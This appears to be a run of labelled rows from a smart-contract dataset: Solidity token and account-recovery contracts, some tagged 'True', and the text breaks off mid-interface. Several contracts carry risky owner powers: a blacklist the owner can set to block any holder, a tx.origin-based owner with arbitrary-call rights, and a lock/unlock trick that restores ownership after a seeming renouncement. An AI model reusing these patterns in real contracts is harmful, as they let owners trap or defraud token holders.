uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface AccountRecoveryManagerRecovererV1Interface {
// events
event AddedAccount(address account);
event RemovedAccount(address account);
event CallRecover(address wallet, address newUserSigningKey);
event Call(address target, uint256 amount, bytes data, bool ok, bytes returnData);
// callable by accounts
function callRecover(
address wallet, address newUserSigningKey
) external;
// only callable by owner
function addAccount(address account) external;
function removeAccount(address account) external;
function callAny(
address payable target, uint256 amount, bytes calldata data
) external returns (bool ok, bytes memory returnData);
// view functions
function getAccounts() external view returns (address[] memory);
function getAccountRecoveryManager() external view returns (address accountRecoveryManager);
}
interface DharmaAccountRecoveryManagerV2Interface {
function recover(address wallet, address newUserSigningKey) external;
}
contract TwoStepOwnable {
address private _owner;
address private _newPotentialOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initialize contract by setting transaction submitter as initial owner.
*/
constructor() internal {
_owner = tx.origin;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "TwoStepOwnable: caller is not the owner.");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows a new account (`newOwner`) to accept ownership.
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"TwoStepOwnable: new potential owner is the zero address."
);
_newPotentialOwner = newOwner;
}
/**
* @dev Cancel a transfer of ownership to a new account.
* Can only be called by the current owner.
*/
function cancelOwnershipTransfer() public onlyOwner {
delete _newPotentialOwner;
}
/**
* @dev Transfers ownership of the contract to the caller.
* Can only be called by a new potential owner set by the current owner.
*/
function acceptOwnership() public {
require(
msg.sender == _newPotentialOwner,
"TwoStepOwnable: current owner must set caller as new potential owner."
);
delete _newPotentialOwner;
emit OwnershipTransferred(_owner, msg.sender);
_owner = msg.sender;
}
}
contract AccountRecoveryManagerRecovererStagingV1 is AccountRecoveryManagerRecovererV1Interface, TwoStepOwnable {
// Track all authorized accounts.
address[] private _accounts;
// Indexes start at 1, as 0 signifies non-inclusion
mapping (address => uint256) private _accountIndexes;
DharmaAccountRecoveryManagerV2Interface private immutable _ACCOUNT_RECOVERY_MANAGER;
constructor(address accountRecoveryManager, address[] memory initialAccounts) public {
_ACCOUNT_RECOVERY_MANAGER = DharmaAccountRecoveryManagerV2Interface(accountRecoveryManager);
for (uint256 i; i < initialAccounts.length; i++) {
address account = initialAccounts[i];
_addAccount(account);
}
}
function addAccount(address account) external override onlyOwner {
_addAccount(account);
}
function removeAccount(address account) external override onlyOwner {
_removeAccount(account);
}
function callRecover(
address wallet, address newUserSigningKey
) external override {
require(
_accountIndexes[msg.sender] != 0,
"Only authorized accounts may trigger calls."
);
// Call the recover function on the Account Recovery Manager
_ACCOUNT_RECOVERY_MANAGER.recover(wallet, newUserSigningKey);
emit CallRecover(wallet, newUserSigningKey);
}
function callAny(
address payable target, uint256 amount, bytes calldata data
) external override onlyOwner returns (bool ok, bytes memory returnData) {
// Call the specified target and supply the specified amount and data.
(ok, returnData) = target.call{value: amount}(data);
emit Call(target, amount, data, ok, returnData);
}
function getAccounts() external view override returns (address[] memory) {
return _accounts;
}
function getAccountRecoveryManager() external view override returns (address accountRecoveryManager) {
return address(_ACCOUNT_RECOVERY_MANAGER);
}
function _addAccount(address account) internal {
require(
_accountIndexes[account] == 0,
"Account matching the provided account already exists."
);
_accounts.push(account);
_accountIndexes[account] = _accounts.length;
emit AddedAccount(account);
}
function _removeAccount(address account) internal {
uint256 removedAccountIndex = _accountIndexes[account];
require(
removedAccountIndex != 0,
"No account found matching the provided account."
);
// swap account to remove with the last one then pop from the array.
address lastAccount = _accounts[_accounts.length - 1];
_accounts[removedAccountIndex - 1] = lastAccount;
_accountIndexes[lastAccount] = removedAccountIndex;
_accounts.pop();
delete _accountIndexes[account];
emit RemovedAccount(account);
}
} | True | [
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pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is MintableToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract DetailedERC20 is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals, uint256 INITIAL_SUPPLY) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply_ = INITIAL_SUPPLY * 10**uint(decimals);
balances[owner] = totalSupply_;
Transfer(address(0), owner, totalSupply_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
